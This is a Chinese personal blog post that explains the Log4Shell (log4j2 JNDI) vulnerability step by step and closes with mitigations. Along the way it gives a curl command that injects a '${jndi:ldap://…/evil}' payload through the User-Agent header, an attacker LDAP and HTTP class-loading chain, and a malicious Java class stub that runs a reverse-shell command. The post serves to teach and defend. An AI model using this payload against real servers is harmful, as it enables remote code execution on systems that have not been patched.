跳到正文
Linyi's Blog
返回

log4j2漏洞

核心原因

log4j2有一个在日志内容里动态插入各种信息的功能通过${}

正常用法

// 读取系统属性
log.info("启动用户 ${sys:user.name}");
// 读取操作系统环境变量
log.info("PATH=${env:PATH}");
// 【冷门设计】从J2EE容器通过JNDI读取资源,例如数据源名称
log.info("DB资源:${jndi:java:comp/env/jdbc/mydb}");

Log4j2 内部维护一张前缀 → 处理器映射表

"sys"     → SysLookup
"env"     → EnvLookup
"jndi"    → JndiLookup
"date"    → DateLookup

当扫描匹配 ${xxx:yyy},就截取冒号前的xxx,查表找到对应的 Lookup 类去执行。

while (匹配到 ${内容}) {
    String expr = 提取大括号内部: "jndi:ldap://attack:1389/evil";
    // 2. 按照第一个冒号分割
    String prefix = "jndi";
    String value  = "ldap://attack:1389/evil";

    // 3. 查表,找到对应处理器
    Lookup lookup = LookupManager.getLookup(prefix);
    if (lookup != null) {
        // 4. 执行处理器
        String result = lookup.lookup(value);
        // 5. 把原始 ${xxx:xxx} 替换成执行返回的字符串
    }
}

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。 LDAP目录服务是由目录数据库和一套访问协议组成的系统。

dc=company,dc=com  # 根域(组织根节点)
├─ou=技术部        # ou = 组织单元(类似文件夹)
  ├─cn=张三       # cn = 用户条目(类似文件)
  └─cn=李四
└─ou=财务部
   └─cn=王五

正常 LDAP 查询:

你查一条用户记录,服务器返回:

cn=张三,mail=zhangsan@xxx.com

一堆字符串属性。客户端拿到,打印、比对,完事,仅此而已。

LDAP 协议规范里,允许目录条目存储特殊对象:Reference(引用对象)

Reference 里面只存信息:

JNDI:Java Naming and Directory Interface,Java 命名与目录接口

给 Java 程序提供统一方式去查询各种外部目录 / 资源

类比:

JNDI ≈ 通用读卡器

可以插不同类型的卡:LDAP 卡、RMI 卡、本地 Java 容器资源卡

读卡器操作方式永远一样:lookup ()

完整流程

环境前提:

  1. Log4j2 版本:2.0-beta9 ~ 2.14.1
  2. 未配置 log4j2.formatMsgNoLookups=true
  3. JDK 版本 < 8u191(经典 LDAP JNDI 利用链可用)
  4. 业务服务器可以主动出站访问外网

阶段 1:攻击者构造请求,投递 Payload

攻击者发送 HTTP 请求,篡改请求头 User-Agent

curl 命令模拟:

curl -H "User-Agent: \${jndi:ldap://攻击服务器IP:1389/evil}" http://目标服务器:8080/test

Payload 字符串:${jndi:ldap://attack-ip:1389/evil}

阶段 2:目标 Web 容器接收请求

Tomcat/Spring 接收 TCP 报文,解析 HTTP 头;

执行 request.getHeader("User-Agent")

变量 ua = ${jndi:ldap://attack-ip:1389/evil}

// 接口
@GetMapping("/test")
public String test(HttpServletRequest request){
    // 获取浏览器User-Agent,外部可控
    String ua = request.getHeader("User-Agent");
    // 风险点:外部可控数据直接填入日志打印
    log.info("来访客户端UA:{}", ua);
    return "ok";
}

阶段 3:执行 log.info(“来访客户端 UA:{}”, ua)

进入 Log4j2 内部,分成固定两大步骤:

步骤 3.1:{} 参数填充(SLF4J 风格占位符)

模板 "来访客户端UA:{}" + 变量 ua 拼接

得到完整日志消息字符串:

来访客户端UA:${jndi:ldap://attack-ip:1389/evil}

步骤 3.2 消息 Lookup 解析 ${}

Log4j2 扫描整条拼接完成的日志文本,正则匹配到 ${...}

识别前缀 jndi: → 加载内置 JndiLookup 处理器。

内部执行等效代码:

// key = ldap://attack-ip:1389/evil
String result = new JndiLookup().lookup("ldap://attack-ip:1389/evil");

阶段 4:JNDI 发起网络连接(第一次外网访问)

InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attack-ip:1389/evil");

📡 业务服务器主动建立 TCP 连接 → 攻击者 LDAP 服务器 1389 端口

阶段 5:LDAP 服务器返回特殊 Reference 对象

攻击者搭建的恶意 LDAP 服务不返回普通文本,返回 javax.naming.Reference

Reference 携带信息:

阶段 6:JDK 底层自动解析 Reference(JDK<8u191 关键特性)

JNDI 收到 Reference 后,在lookup()函数内部、函数返回之前自动执行:

受害JVM →【①LDAP查询】→ 恶意LDAP服务器
 LDAP返回Reference对象(包含URL地址)
受害JVM →【②HTTP请求】→ HTTP服务,下载Evil.class字节码
  1. 发起 HTTP 请求 📡二次外网访问,下载 Evil.class 字节码
  2. ClassLoader 加载这个恶意类
  3. 类加载触发静态代码块 static {} 自动执行

恶意类示例

public class Evil {
    static {
        try {
            // 执行服务器本地系统命令
            Runtime.getRuntime().exec("/bin/bash -c 反弹shell");
        } catch (Exception e) {}
    }
}

远程代码执行完成,攻击达成!

阻断这条链的几种手段(对应漏洞原理)

  1. 升级 Log4j2 到 2.16.0+:彻底移除 JndiLookup

  2. 添加 JVM 参数 -Dlog4j2.formatMsgNoLookups=true

    → 直接关闭【日志消息内部 ${} 解析】,第 3.2 步不会执行

  3. JDK 升级 ≥8u191:禁止 LDAP Reference 远程加载 class,第 6 步失效

  4. 防火墙限制服务器出站外网:无法连接攻击者 LDAP,第 4 步失败


分享这篇文章: